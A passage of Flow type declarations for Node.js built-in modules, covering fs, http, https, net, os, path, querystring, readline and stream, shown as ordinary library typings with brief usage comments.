number,\n    callback: (err: ?ErrnoError) => void\n  ): void;\n  declare function fdatasyncSync(fd: number): void;\n  declare function copyFile(\n    src: string,\n    dest: string,\n    callback: (err: ErrnoError) => void\n  ): void;\n  declare function copyFile(\n    src: string,\n    dest: string,\n    flags?: number,\n    callback: (err: ErrnoError) => void\n  ): void;\n  declare function copyFileSync(\n    src: string,\n    dest: string,\n    flags?: number\n  ): void;\n\n  declare type GlobOptions<WithFileTypes: boolean> = $ReadOnly<{\n    /**\n     * Current working directory.\n     * @default process.cwd()\n     */\n    cwd?: string | void,\n    /**\n     * `true` if the glob should return paths as `Dirent`s, `false` otherwise.\n     * @default false\n     * @since v22.2.0\n     */\n    withFileTypes?: WithFileTypes,\n    /**\n     * Function to filter out files/directories or a\n     * list of glob patterns to be excluded. If a function is provided, return\n     * `true` to exclude the item, `false` to include it.\n     * @default undefined\n     */\n    exclude?:\n      | ((fileName: Node$Conditional<WithFileTypes, Dirent, string>) => boolean)\n      | $ReadOnlyArray<string>,\n    ...\n  }>;\n\n  /**\n   * Retrieves the files matching the specified pattern.\n   *\n   * ```js\n   * import { glob } from 'node:fs';\n   *\n   * glob('*.js', (err, matches) => {\n   *   if (err) throw err;\n   *   console.log(matches);\n   * });\n   * ```\n   * @since v22.0.0\n   */\n  declare function glob(\n    pattern: string | $ReadOnlyArray<string>,\n    callback: (err: ?ErrnoError, matches: Array<string>) => void\n  ): void;\n\n  declare function glob<WithFileTypes: boolean = false>(\n    pattern: string | $ReadOnlyArray<string>,\n    options: GlobOptions<WithFileTypes>,\n    callback: (\n      err: ?ErrnoError,\n      matches: Node$Conditional<WithFileTypes, Array<Dirent>, Array<string>>\n    ) => void\n  ): void;\n\n  /**\n   * ```js\n   * import { globSync } from 'node:fs';\n   *\n   * console.log(globSync('*.js'));\n   * ```\n   * @since v22.0.0\n   * @returns paths of files that match the pattern.\n   */\n  declare function globSync<WithFileTypes: boolean = false>(\n    pattern: string | $ReadOnlyArray<string>,\n    options?: GlobOptions<WithFileTypes>\n  ): Node$Conditional<WithFileTypes, Array<Dirent>, Array<string>>;\n\n  declare var F_OK: number;\n  declare var R_OK: number;\n  declare var W_OK: number;\n  declare var X_OK: number;\n  // new var from node 6.x\n  // https://nodejs.org/dist/latest-v6.x/docs/api/fs.html#fs_fs_constants_1\n  declare var constants: {\n    F_OK: number, // 0\n    R_OK: number, // 4\n    W_OK: number, // 2\n    X_OK: number, // 1\n    COPYFILE_EXCL: number, // 1\n    COPYFILE_FICLONE: number, // 2\n    COPYFILE_FICLONE_FORCE: number, // 4\n    O_RDONLY: number, // 0\n    O_WRONLY: number, // 1\n    O_RDWR: number, // 2\n    S_IFMT: number, // 61440\n    S_IFREG: number, // 32768\n    S_IFDIR: number, // 16384\n    S_IFCHR: number, // 8192\n    S_IFBLK: number, // 24576\n    S_IFIFO: number, // 4096\n    S_IFLNK: number, // 40960\n    S_IFSOCK: number, // 49152\n    O_CREAT: number, // 64\n    O_EXCL: number, // 128\n    O_NOCTTY: number, // 256\n    O_TRUNC: number, // 512\n    O_APPEND: number, // 1024\n    O_DIRECTORY: number, // 65536\n    O_NOATIME: number, // 262144\n    O_NOFOLLOW: number, // 131072\n    O_SYNC: number, // 1052672\n    O_DSYNC: number, // 4096\n    O_SYMLINK: number, // 2097152\n    O_DIRECT: number, // 16384\n    O_NONBLOCK: number, // 2048\n    S_IRWXU: number, // 448\n    S_IRUSR: number, // 256\n    S_IWUSR: number, // 128\n    S_IXUSR: number, // 64\n    S_IRWXG: number, // 56\n    S_IRGRP: number, // 32\n    S_IWGRP: number, // 16\n    S_IXGRP: number, // 8\n    S_IRWXO: number, // 7\n    S_IROTH: number, // 4\n    S_IWOTH: number, // 2\n    S_IXOTH: number, // 1\n    ...\n  };\n\n  declare type BufferEncoding = 'buffer' | {encoding: 'buffer', ...};\n  declare type EncodingOptions = {encoding?: string, ...};\n  declare type EncodingFlag = EncodingOptions & {flag?: string, ...};\n  declare type WriteOptions = EncodingFlag & {mode?: number, ...};\n  declare type RemoveOptions = {\n    force?: boolean,\n    maxRetries?: number,\n    recursive?: boolean,\n    retryDelay?: number,\n    ...\n  };\n  declare class FileHandle {\n    appendFile(\n      data: string | Buffer,\n      options: WriteOptions | string\n    ): Promise<void>;\n    chmod(mode: number): Promise<void>;\n    chown(uid: number, guid: number): Promise<void>;\n    close(): Promise<void>;\n    datasync(): Promise<void>;\n    fd: number;\n    read<T: Buffer | Uint8Array>(\n      buffer: T,\n      offset: number,\n      length: number,\n      position: number\n    ): Promise<{\n      bytesRead: number,\n      buffer: T,\n      ...\n    }>;\n    readFile(options: EncodingFlag): Promise<Buffer>;\n    readFile(options: string): Promise<string>;\n    stat(): Promise<Stats>;\n    sync(): Promise<void>;\n    truncate(len?: number): Promise<void>;\n    utimes(\n      atime: number | string | Date,\n      mtime: number | string | Date\n    ): Promise<void>;\n    write(\n      buffer: Buffer | Uint8Array,\n      offset: number,\n      length: number,\n      position: number\n    ): Promise<void>;\n    writeFile(\n      data: string | Buffer | Uint8Array,\n      options: WriteOptions | string\n    ): Promise<void>;\n  }\n\n  declare type FSPromisePath = string | Buffer | URL;\n  declare type FSPromise = {\n    access(path: FSPromisePath, mode?: number): Promise<void>,\n    appendFile(\n      path: FSPromisePath | FileHandle,\n      data: string | Buffer,\n      options?: WriteOptions | string\n    ): Promise<void>,\n    chmod(path: FSPromisePath, mode: number): Promise<void>,\n    chown(path: FSPromisePath, uid: number, gid: number): Promise<void>,\n    copyFile(\n      src: FSPromisePath,\n      dest: FSPromisePath,\n      flags?: number\n    ): Promise<void>,\n    fchmod(filehandle: FileHandle, mode: number): Promise<void>,\n    fchown(filehandle: FileHandle, uid: number, guid: number): Promise<void>,\n    fdatasync(filehandle: FileHandle): Promise<void>,\n    fstat(filehandle: FileHandle): Promise<Stats>,\n    fsync(filehandle: FileHandle): Promise<void>,\n    ftruncate(filehandle: FileHandle, len?: number): Promise<void>,\n    futimes(\n      filehandle: FileHandle,\n      atime: number | string | Date,\n      mtime: number | string | Date\n    ): Promise<void>,\n    lchmod(path: FSPromisePath, mode: number): Promise<void>,\n    glob<WithFileTypes: boolean = false>(\n      pattern: string | $ReadOnlyArray<string>,\n      options?: GlobOptions<WithFileTypes>\n    ): Node$Conditional<\n      WithFileTypes,\n      AsyncIterator<Dirent>,\n      AsyncIterator<string>,\n    >,\n    lchown(path: FSPromisePath, uid: number, guid: number): Promise<void>,\n    link(existingPath: FSPromisePath, newPath: FSPromisePath): Promise<void>,\n    lstat(path: FSPromisePath): Promise<Stats>,\n    mkdir(\n      path: FSPromisePath,\n      mode?:\n        | number\n        | {\n            recursive?: boolean,\n            mode?: number,\n            ...\n          }\n    ): Promise<void>,\n    mkdtemp(prefix: string, options?: EncodingOptions): Promise<string>,\n    open(\n      path: FSPromisePath,\n      flags?: string | number,\n      mode?: number\n    ): Promise<FileHandle>,\n    read<T: Buffer | Uint8Array>(\n      filehandle: FileHandle,\n      buffer: T,\n      offset: number,\n      length: number,\n      position?: number\n    ): Promise<{\n      bytesRead: number,\n      buffer: T,\n      ...\n    }>,\n    readdir: ((\n      path: FSPromisePath,\n      options: string | {encoding?: string, withFileTypes?: false, ...}\n    ) => Promise<Array<string>>) &\n      ((\n        path: FSPromisePath,\n        options: {encoding?: string, withFileTypes: true, ...}\n      ) => Promise<Array<Dirent>>) &\n      ((path: FSPromisePath) => Promise<Array<string>>),\n    readFile: ((\n      path: FSPromisePath | FileHandle,\n      options: string\n    ) => Promise<string>) &\n      ((\n        path: FSPromisePath | FileHandle,\n        options?: EncodingFlag\n      ) => Promise<Buffer>),\n    readlink: ((\n      path: FSPromisePath,\n      options: BufferEncoding\n    ) => Promise<Buffer>) &\n      ((\n        path: FSPromisePath,\n        options?: string | EncodingOptions\n      ) => Promise<string>),\n    realpath: ((\n      path: FSPromisePath,\n      options: BufferEncoding\n    ) => Promise<Buffer>) &\n      ((\n        path: FSPromisePath,\n        options?: string | EncodingOptions\n      ) => Promise<string>),\n    rename(oldPath: FSPromisePath, newPath: FSPromisePath): Promise<void>,\n    rm(path: FSPromisePath, options?: RemoveOptions): Promise<void>,\n    rmdir(path: FSPromisePath): Promise<void>,\n    stat(path: FSPromisePath): Promise<Stats>,\n    symlink(\n      target: FSPromisePath,\n      path: FSPromisePath,\n      type?: 'dir' | 'file' | 'junction'\n    ): Promise<void>,\n    truncate(path: FSPromisePath, len?: number): Promise<void>,\n    unlink(path: FSPromisePath): Promise<void>,\n    utimes(\n      path: FSPromisePath,\n      atime: number | string | Date,\n      mtime: number | string | Date\n    ): Promise<void>,\n    write<T: Buffer | Uint8Array>(\n      filehandle: FileHandle,\n      buffer: T,\n      offset: number,\n      length: number,\n      position?: number\n    ): Promise<{\n      bytesRead: number,\n      buffer: T,\n      ...\n    }>,\n    writeFile(\n      FSPromisePath | FileHandle,\n      data: string | Buffer | Uint8Array,\n      options?: string | WriteOptions\n    ): Promise<void>,\n    ...\n  };\n\n  declare var promises: FSPromise;\n}\n\ntype http$agentOptions = {\n  keepAlive?: boolean,\n  keepAliveMsecs?: number,\n  maxSockets?: number,\n  maxFreeSockets?: number,\n  ...\n};\n\ndeclare class http$Agent<+SocketT = net$Socket> {\n  constructor(options: http$agentOptions): void;\n  destroy(): void;\n  freeSockets: {[name: string]: $ReadOnlyArray<SocketT>, ...};\n  getName(options: {\n    host: string,\n    port: number,\n    localAddress: string,\n    ...\n  }): string;\n  maxFreeSockets: number;\n  maxSockets: number;\n  requests: {[name: string]: $ReadOnlyArray<http$ClientRequest<SocketT>>, ...};\n  sockets: {[name: string]: $ReadOnlyArray<SocketT>, ...};\n}\n\ndeclare class http$IncomingMessage<SocketT = net$Socket>\n  extends stream$Readable\n{\n  headers: Object;\n  rawHeaders: Array<string>;\n  httpVersion: string;\n  method: string;\n  trailers: Object;\n  setTimeout(msecs: number, callback: Function): void;\n  socket: SocketT;\n  statusCode: number;\n  statusMessage: string;\n  url: string;\n  aborted: boolean;\n  complete: boolean;\n  rawTrailers: Array<string>;\n}\n\ndeclare class http$ClientRequest<+SocketT = net$Socket>\n  extends stream$Writable\n{\n  abort(): void;\n  aborted: boolean;\n  +connection: SocketT | null;\n  flushHeaders(): void;\n  getHeader(name: string): string;\n  removeHeader(name: string): void;\n  setHeader(name: string, value: string | Array<string>): void;\n  setNoDelay(noDelay?: boolean): void;\n  setSocketKeepAlive(enable?: boolean, initialDelay?: number): void;\n  setTimeout(msecs: number, callback?: Function): void;\n  +socket: SocketT | null;\n}\n\ndeclare class http$ServerResponse extends stream$Writable {\n  addTrailers(headers: {[key: string]: string, ...}): void;\n  connection: net$Socket;\n  finished: boolean;\n  flushHeaders(): void;\n  getHeader(name: string): string;\n  getHeaderNames(): Array<string>;\n  getHeaders(): {[key: string]: string | Array<string>, ...};\n  hasHeader(name: string): boolean;\n  headersSent: boolean;\n  removeHeader(name: string): void;\n  sendDate: boolean;\n  setHeader(name: string, value: string | Array<string>): void;\n  setTimeout(msecs: number, callback?: Function): http$ServerResponse;\n  socket: net$Socket;\n  statusCode: number;\n  statusMessage: string;\n  writeContinue(): void;\n  writeHead(\n    status: number,\n    statusMessage?: string,\n    headers?: {[key: string]: string, ...}\n  ): void;\n  writeHead(status: number, headers?: {[key: string]: string, ...}): void;\n  writeProcessing(): void;\n}\n\ndeclare class http$Server extends net$Server {\n  listen(\n    port?: number,\n    hostname?: string,\n    backlog?: number,\n    callback?: Function\n  ): this;\n  // The following signatures are added to allow omitting intermediate arguments\n  listen(port?: number, backlog?: number, callback?: Function): this;\n  listen(port?: number, hostname?: string, callback?: Function): this;\n  listen(port?: number, callback?: Function): this;\n  listen(path: string, callback?: Function): this;\n  listen(\n    handle: {\n      port?: number,\n      host?: string,\n      path?: string,\n      backlog?: number,\n      exclusive?: boolean,\n      readableAll?: boolean,\n      writableAll?: boolean,\n      ipv6Only?: boolean,\n      ...\n    },\n    callback?: Function\n  ): this;\n  listening: boolean;\n  close(callback?: (error: ?Error) => mixed): this;\n  closeAllConnections(): void;\n  closeIdleConnections(): void;\n  maxHeadersCount: number;\n  keepAliveTimeout: number;\n  headersTimeout: number;\n  setTimeout(msecs: number, callback: Function): this;\n  timeout: number;\n}\n\ndeclare class https$Server extends tls$Server {\n  listen(\n    port?: number,\n    hostname?: string,\n    backlog?: number,\n    callback?: Function\n  ): this;\n  // The following signatures are added to allow omitting intermediate arguments\n  listen(port?: number, backlog?: number, callback?: Function): this;\n  listen(port?: number, hostname?: string, callback?: Function): this;\n  listen(port?: number, callback?: Function): this;\n  listen(path: string, callback?: Function): this;\n  listen(\n    handle: {\n      port?: number,\n      host?: string,\n      path?: string,\n      backlog?: number,\n      exclusive?: boolean,\n      readableAll?: boolean,\n      writableAll?: boolean,\n      ipv6Only?: boolean,\n      ...\n    },\n    callback?: Function\n  ): this;\n  close(callback?: (error: ?Error) => mixed): this;\n  closeAllConnections(): void;\n  closeIdleConnections(): void;\n  keepAliveTimeout: number;\n  headersTimeout: number;\n  setTimeout(msecs: number, callback: Function): this;\n  timeout: number;\n}\n\ntype requestOptions = {|\n  auth?: string,\n  defaultPort?: number,\n  family?: number,\n  headers?: {[key: string]: mixed, ...},\n  host?: string,\n  hostname?: string,\n  localAddress?: string,\n  method?: string,\n  path?: string,\n  port?: number,\n  protocol?: string,\n  setHost?: boolean,\n  socketPath?: string,\n  timeout?: number,\n|};\n\ntype http$requestOptions = {\n  ...requestOptions,\n  agent?: boolean | http$Agent<net$Socket>,\n  createConnection?: (\n    options: net$connectOptions,\n    callback?: Function\n  ) => net$Socket,\n  ...\n};\n\ndeclare module 'http' {\n  declare class Server extends http$Server {}\n  declare class Agent extends http$Agent<net$Socket> {\n    createConnection(\n      options: net$connectOptions,\n      callback?: Function\n    ): net$Socket;\n  }\n  declare class ClientRequest extends http$ClientRequest<net$Socket> {}\n  declare class IncomingMessage extends http$IncomingMessage<net$Socket> {}\n  declare class ServerResponse extends http$ServerResponse {}\n\n  declare function createServer(\n    requestListener?: (\n      request: IncomingMessage,\n      response: ServerResponse\n    ) => void\n  ): Server;\n  declare function request(\n    options: http$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n  declare function request(\n    url: string,\n    options?: http$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n  declare function get(\n    options: http$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n  declare function get(\n    url: string,\n    options?: http$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n\n  declare var METHODS: Array<string>;\n  declare var STATUS_CODES: {[key: number]: string, ...};\n  declare var globalAgent: Agent;\n}\n\ntype https$requestOptions = {\n  ...requestOptions,\n  agent?: boolean | http$Agent<tls$TLSSocket>,\n  createConnection?: (\n    options: tls$connectOptions,\n    callback?: Function\n  ) => tls$TLSSocket,\n  ...\n};\n\ndeclare module 'https' {\n  declare class Server extends https$Server {}\n  declare class Agent extends http$Agent<tls$TLSSocket> {\n    createConnection(\n      port: ?number,\n      host: ?string,\n      options: tls$connectOptions\n    ): tls$TLSSocket;\n    createConnection(port: ?number, options: tls$connectOptions): tls$TLSSocket;\n    createConnection(options: tls$connectOptions): tls$TLSSocket;\n  }\n\n  declare class ClientRequest extends http$ClientRequest<tls$TLSSocket> {}\n  declare class IncomingMessage extends http$IncomingMessage<tls$TLSSocket> {}\n  declare class ServerResponse extends http$ServerResponse {}\n\n  declare function createServer(\n    options: Object,\n    requestListener?: (\n      request: IncomingMessage,\n      response: ServerResponse\n    ) => void\n  ): Server;\n  declare function request(\n    options: https$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n  declare function request(\n    url: string,\n    options?: https$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n  declare function get(\n    options: https$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n  declare function get(\n    url: string,\n    options?: https$requestOptions,\n    callback?: (response: IncomingMessage) => void\n  ): ClientRequest;\n\n  declare var globalAgent: Agent;\n}\n\ntype module$Module = {\n  builtinModules: Array<string>,\n  createRequire(filename: string | URL): typeof require,\n  syncBuiltinESMExports(): void,\n  Module: module$Module,\n  ...\n};\n\ndeclare module 'module' {\n  declare module.exports: module$Module;\n}\n\ndeclare class net$Socket extends stream$Duplex {\n  constructor(options?: Object): void;\n  address(): net$Socket$address;\n  bufferSize: number;\n  bytesRead: number;\n  bytesWritten: number;\n  connect(path: string, connectListener?: () => mixed): net$Socket;\n  connect(\n    port: number,\n    host?: string,\n    connectListener?: () => mixed\n  ): net$Socket;\n  connect(port: number, connectListener?: () => mixed): net$Socket;\n  connect(options: Object, connectListener?: () => mixed): net$Socket;\n  destroyed: boolean;\n  end(\n    chunkOrEncodingOrCallback?:\n      | Buffer\n      | Uint8Array\n      | string\n      | ((data: any) => void),\n    encodingOrCallback?: string | ((data: any) => void),\n    callback?: (data: any) => void\n  ): this;\n  localAddress: string;\n  localPort: number;\n  pause(): this;\n  ref(): this;\n  remoteAddress: string | void;\n  remoteFamily: string;\n  remotePort: number;\n  resume(): this;\n  setEncoding(encoding?: string): this;\n  setKeepAlive(enable?: boolean, initialDelay?: number): this;\n  setNoDelay(noDelay?: boolean): this;\n  setTimeout(timeout: number, callback?: Function): this;\n  unref(): this;\n  write(\n    chunk: Buffer | Uint8Array | string,\n    encodingOrCallback?: string | ((data: any) => void),\n    callback?: (data: any) => void\n  ): boolean;\n}\n\ndeclare class net$Server extends events$EventEmitter {\n  listen(\n    port?: number,\n    hostname?: string,\n    backlog?: number,\n    callback?: Function\n  ): net$Server;\n  listen(path: string, callback?: Function): net$Server;\n  listen(handle: Object, callback?: Function): net$Server;\n  listening: boolean;\n  close(callback?: Function): net$Server;\n  address(): net$Socket$address;\n  connections: number;\n  maxConnections: number;\n  getConnections(callback: Function): void;\n  ref(): net$Server;\n  unref(): net$Server;\n}\n\ntype net$connectOptions = {\n  port?: number,\n  host?: string,\n  localAddress?: string,\n  localPort?: number,\n  family?: number,\n  lookup?: (\n    domain: string,\n    options?: ?number | ?Object,\n    callback?: (err: ?Error, address: string, family: number) => void\n  ) => mixed,\n  path?: string,\n  ...\n};\n\ndeclare module 'net' {\n  declare class Server extends net$Server {}\n  declare class Socket extends net$Socket {}\n\n  declare function isIP(input: string): number;\n  declare function isIPv4(input: string): boolean;\n  declare function isIPv6(input: string): boolean;\n\n  declare type connectionListener = (socket: Socket) => any;\n  declare function createServer(\n    options?:\n      | {\n          allowHalfOpen?: boolean,\n          pauseOnConnect?: boolean,\n          ...\n        }\n      | connectionListener,\n    connectionListener?: connectionListener\n  ): Server;\n\n  declare type connectListener = () => any;\n  declare function connect(\n    pathOrPortOrOptions: string | number | net$connectOptions,\n    hostOrConnectListener?: string | connectListener,\n    connectListener?: connectListener\n  ): Socket;\n\n  declare function createConnection(\n    pathOrPortOrOptions: string | number | net$connectOptions,\n    hostOrConnectListener?: string | connectListener,\n    connectListener?: connectListener\n  ): Socket;\n}\n\ntype os$CPU = {\n  model: string,\n  speed: number,\n  times: {\n    idle: number,\n    irq: number,\n    nice: number,\n    sys: number,\n    user: number,\n    ...\n  },\n  ...\n};\n\ntype os$NetIFAddr = {\n  address: string,\n  family: string,\n  internal: boolean,\n  mac: string,\n  netmask: string,\n  ...\n};\n\ntype os$UserInfo$buffer = {\n  uid: number,\n  gid: number,\n  username: Buffer,\n  homedir: Buffer,\n  shell: ?Buffer,\n  ...\n};\n\ntype os$UserInfo$string = {\n  uid: number,\n  gid: number,\n  username: string,\n  homedir: string,\n  shell: ?string,\n  ...\n};\n\ndeclare module 'os' {\n  declare function arch(): 'x64' | 'arm' | 'ia32';\n  declare function availableParallelism(): number;\n  declare function cpus(): Array<os$CPU>;\n  declare function endianness(): 'BE' | 'LE';\n  declare function freemem(): number;\n  declare function homedir(): string;\n  declare function hostname(): string;\n  declare function loadavg(): [number, number, number];\n  declare function networkInterfaces(): {\n    [ifName: string]: Array<os$NetIFAddr>,\n    ...\n  };\n  declare function platform(): string;\n  declare function release(): string;\n  declare function tmpdir(): string;\n  declare function totalmem(): number;\n  declare function type(): string;\n  declare function uptime(): number;\n  declare function userInfo(options: {\n    encoding: 'buffer',\n    ...\n  }): os$UserInfo$buffer;\n  declare function userInfo(options?: {\n    encoding: 'utf8',\n    ...\n  }): os$UserInfo$string;\n  declare var EOL: string;\n}\n\ndeclare module 'path' {\n  declare function normalize(path: string): string;\n  declare function join(...parts: Array<string>): string;\n  declare function resolve(...parts: Array<string>): string;\n  declare function isAbsolute(path: string): boolean;\n  declare function relative(from: string, to: string): string;\n  declare function dirname(path: string): string;\n  declare function basename(path: string, ext?: string): string;\n  declare function extname(path: string): string;\n  declare var sep: string;\n  declare var delimiter: string;\n  declare function parse(pathString: string): {\n    root: string,\n    dir: string,\n    base: string,\n    ext: string,\n    name: string,\n    ...\n  };\n  declare function format(pathObject: {\n    root?: string,\n    dir?: string,\n    base?: string,\n    ext?: string,\n    name?: string,\n    ...\n  }): string;\n  declare var posix: any;\n  declare var win32: any;\n}\n\ndeclare module 'punycode' {\n  declare function decode(string: string): string;\n  declare function encode(string: string): string;\n  declare function toASCII(domain: string): string;\n  declare function toUnicode(domain: string): string;\n  declare var ucs2: {\n    decode: (str: string) => Array<number>,\n    encode: (codePoints: Array<number>) => string,\n    ...\n  };\n  declare var version: string;\n}\n\ndeclare module 'querystring' {\n  declare function stringify(\n    obj: Object,\n    separator?: string,\n    equal?: string,\n    options?: {encodeURIComponent?: (str: string) => string, ...}\n  ): string;\n  declare function parse(\n    str: string,\n    separator: ?string,\n    equal: ?string,\n    options?: {\n      decodeURIComponent?: (str: string) => string,\n      maxKeys?: number,\n      ...\n    }\n  ): any;\n  declare function escape(str: string): string;\n  declare function unescape(str: string, decodeSpaces?: boolean): string;\n}\n\ntype readline$InterfaceCompleter = (\n  line: string\n) =>\n  | [Array<string>, string]\n  | ((\n      line: string,\n      ((err: ?Error, data: [Array<string>, string]) => void)\n    ) => void);\n\ndeclare class readline$Interface extends events$EventEmitter {\n  close(): void;\n  pause(): void;\n  prompt(preserveCursor?: boolean): void;\n  question(\n    query: string,\n    optionsOrCallback: {|signal?: AbortSignal|} | ((answer: string) => void),\n    callback?: (answer: string) => void\n  ): void;\n  resume(): void;\n  setPrompt(prompt: string): void;\n  write(\n    val: string | void | null,\n    key?: {\n      name: string,\n      ctrl?: boolean,\n      shift?: boolean,\n      meta?: boolean,\n      ...\n    }\n  ): void;\n  @@asyncIterator(): AsyncIterator<string>;\n}\n\ndeclare module 'readline' {\n  declare var Interface: typeof readline$Interface;\n  declare function clearLine(\n    stream: stream$Stream,\n    dir: -1 | 1 | 0,\n    callback?: () => void\n  ): void;\n  declare function clearScreenDown(\n    stream: stream$Stream,\n    callback?: () => void\n  ): void;\n  declare function createInterface(opts: {\n    completer?: readline$InterfaceCompleter,\n    crlfDelay?: number,\n    escapeCodeTimeout?: number,\n    historySize?: number,\n    input: stream$Readable,\n    output?: ?stream$Stream,\n    prompt?: string,\n    removeHistoryDuplicates?: boolean,\n    terminal?: boolean,\n    ...\n  }): readline$Interface;\n  declare function cursorTo(\n    stream: stream$Stream,\n    x?: number,\n    y?: number,\n    callback?: () => void\n  ): void;\n  declare function moveCursor(\n    stream: stream$Stream,\n    dx: number,\n    dy: number,\n    callback?: () => void\n  ): void;\n  declare function emitKeypressEvents(\n    stream: stream$Stream,\n    readlineInterface?: readline$Interface\n  ): void;\n}\n\ndeclare class stream$Stream extends events$EventEmitter {}\n\ntype readableStreamOptions = {\n  highWaterMark?: number,\n  encoding?: string,\n  objectMode?: boolean,\n  read?: (size: number) => void,\n  destroy?: (error: ?Error, callback: (error?: Error) => void) => void,\n  autoDestroy?: boolean,\n  ...\n};\ndeclare class stream$Readable extends stream$Stream {\n  static from(\n    iterable: Iterable<any> | AsyncIterable<any>,\n    options?: readableStreamOptions\n  ): stream$Readable;\n\n  constructor(options?: readableStreamOptions): void;\n  destroy(error?: Error): this;\n  isPaused(): boolean;\n  pause(): this;\n  pipe<T: stream$Writable>(dest: T, options?: {end?: boolean, ...}): T;\n  read(size?: number): ?(string | Buffer);\n  readable: boolean;\n  readableHighWaterMark: number;\n  readableLength: number;\n  resume(): this;\n  setEncoding(encoding: string): this;\n  unpipe(dest?: stream$Writable): this;\n  unshift(chunk: Buffer | Uint8Array | string): void;\n  wrap(oldReadable: stream$Stream): this;\n  _read(size: number): void;\n  _destroy(error: ?Error, callback: (error?: Error) => void): void;\n  push(chunk: ?(Buffer | Uint8Array | string), encoding?: string): boolean;\n  @@asyncIterator(): AsyncIterator<string | Buffer>;\n}\n\ntype writableStreamOptions = {\n  highWaterMark?: number,\n  decodeStrings?: boolean,\n  defaultEncoding?: string,\n  objectMode?: boolean,\n  emitClose?: boolean,\n  write?: (\n    chunk: Buffer | string,\n    encoding: string,\n    callback: (error?: Error) => void\n  ) => void,\n  writev?: (\n    chunks: Array<{\n      chunk: Buffer | string,\n      encoding: string,\n      ...\n    }>,\n    callback: (error?: Error) => void\n  ) => void,\n  destroy?: (error: ?Error, callback: (error?: Error) => void) => void,\n  final?: (callback: (error?: Error) => void) => void,\n  autoDestroy?: boolean,\n  ...\n};\ndeclare class stream$Writable extends stream$Stream {\n  constructor(options?: writableStreamOptions): void;\n  cork(): void;\n  destroy(error?: Error): this;\n  end(callback?: () => void): this;\n  end(chunk?: string | Buffer | Uint8Array, callback?: () => void): this;\n  end(\n    chunk?: string | Buffer | Uint8Array,\n    encoding?: string,\n    callback?: () => void\n  ): this;\n  setDefaultEncoding(encoding: string): this;\n  uncork(): void;\n  writable: boolean;\n  writableHighWaterMark: number;\n  writableLength: number;\n  write(\n    chunk: string | Buffer | Uint8Array,\n    callback?: (error?: Error) => void\n  ): boolean;\n  write(\n    chunk: string | Buffer | Uint8Array,\n    encoding?: string,\n    callback?: (error?: Error) => void\n  ): boolean;\n  _write(\n    chunk: Buffer | string,\n    encoding: string,\n    callback: (error?: Error) => void\n  ): void;\n  _writev(\n    chunks: Array<{\n      chunk: Buffer | string,\n      encoding: string,\n      ...\n    }>,\n    callback: (error?: Error) => void\n  ): void;\n  _destroy(error: ?Error, callback: (error?: Error) => void): void;\n  _final(callback: (error?: Error) => void): void;\n}\n\n//According to the NodeJS docs:\n//\"Since JavaScript doesn't have multiple prototypal inheritance, this class\n//prototypally inherits from Readable, and then parasitically from Writable.\"\n//Source: <https://nodejs.org/api/stream.html#stream_class_stream_duplex_1\ntype duplexStreamOptions = writableStreamOptions &\n  readableStreamOptions & {\n    allowHalfOpen?: boolean,\n    readableObjectMode?: boolean,\n    writableObjectMode?: boolean,\n    readableHighWaterMark?: number,\n    writableHighWaterMark?: number,\n    ...\n  };\ndeclare class stream$Duplex extends stream$Readable mixins stream$Writable {\n  constructor(options?: duplexStreamOptions): void;\n}\ntype transformStreamOptions = duplexStreamOptions & {\n  flush?: (callback: (error: ?Error, data: ?(Buffer | string)) => void) => void,\n  transform?: (\n    chunk: Buffer | string,\n    encoding: string,\n    callback: (error: ?Error, data: ?(Buffer | string)) => void\n  ) => void,\n  ...\n};\ndeclare class stream$Transform extends stream$Duplex {\n  constructor(options?: transformStreamOptions): void;\n  _flush(callback: (error: ?Error, data: ?(Buffer | string)) => void): void;\n  _transform(\n    chunk: Buffer | string,\n    encoding: string,\n    callback: (error: ?Error, data: ?(Buffer | string)) => void\n  ): void;\n}\ndeclare class stream$PassThrough extends stream$Transform {}\n\ndeclare module 'stream' {\n  declare var Stream: typeof stream$Stream;\n  declare var Readable: typeof stream$Readable;\n  declare var Writable: typeof stream$Writable;\n  declare var Duplex: typeof stream$Duplex;\n  declare var Transform: typeof stream$Transform;\n  declare var PassThrough: typeof stream$PassThrough;\n  declare function finished(\n    stream: stream$Stream,\n    callback: (error?: Error) => void\n  ): () => void;\n  declare function finished(\n    stream: stream$Stream,\n    options: ?{\n      error?: boolean,\n      readable?: boolean,\n      writable?: boolean,\n      ...\n    },\n    callback: (error?: Error) => void\n  ): () => void;\n  declare function pipeline<T: stream$Writable>(\n    s1: stream$Readable,\n    last: T,\n    cb: (error?: Error) => void\n  ): T;\n  declare function pipeline<T: stream$Writable>(\n    s1: stream$Readable,\n    s2: stream$Duplex,\n    last: T,\n    cb: (error?: Error) => void\n  ): T;\n  declare function pipeline<T: stream$Writable>(\n    s1: stream$Readable,\n    s2: stream$Duplex,\n    s3: stream$Duplex,\n    last: T,\n    cb: (error?: Error) => void\n  ): T;\n  declare function pipeline<T: stream$Writable>(\n    s1: stream$Readable,\n    s2: stream$Duplex,\n    s3: stream$Duplex,\n    s4: stream$Duplex,\n    last: T,\n    cb: (error?: Error) => void\n  ): T;\n  declare function pipeline<T: stream$Writable>(\n    s1: stream$Readable,\n    s2: stream$Duplex,\n    s3: stream$Duplex,\n    s4: stream$Duplex,\n    s5: stream$Duplex,\n    last: T,\n    cb: (error?: Error) => void\n  ): T;\n  declare function pipeline<T: stream$Writable>(\n    s1: stream$Readable,\n    s2: stream$Duplex,\n    s3: stream$Duplex,\n    s4: stream$Duplex,\n    s5: stream$Duplex,\n    s6: stream$Duplex,\n    last: T,\n    cb: (error?: Error) => void\n  ): T;\n  declare function pipeline(\n    streams: Array<stream$Stream>,\n    cb: (error?: Error) => void\n  ): stream$Stream;\n\n  declare interface StreamPipelineOptions {\n    +signal?: AbortSignal;\n    +end?: boolean;\n  }\n\n  declare type StreamPromise = {\n    pipeline(\n      s1: stream$Readable,\n      last: stream$Writable,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    pipeline(\n      s1: stream$Readable,\n      s2: stream$Duplex,\n      last: stream$Writable,\n      options?: StreamPipelineOptions\n    ): Promise<void>,\n    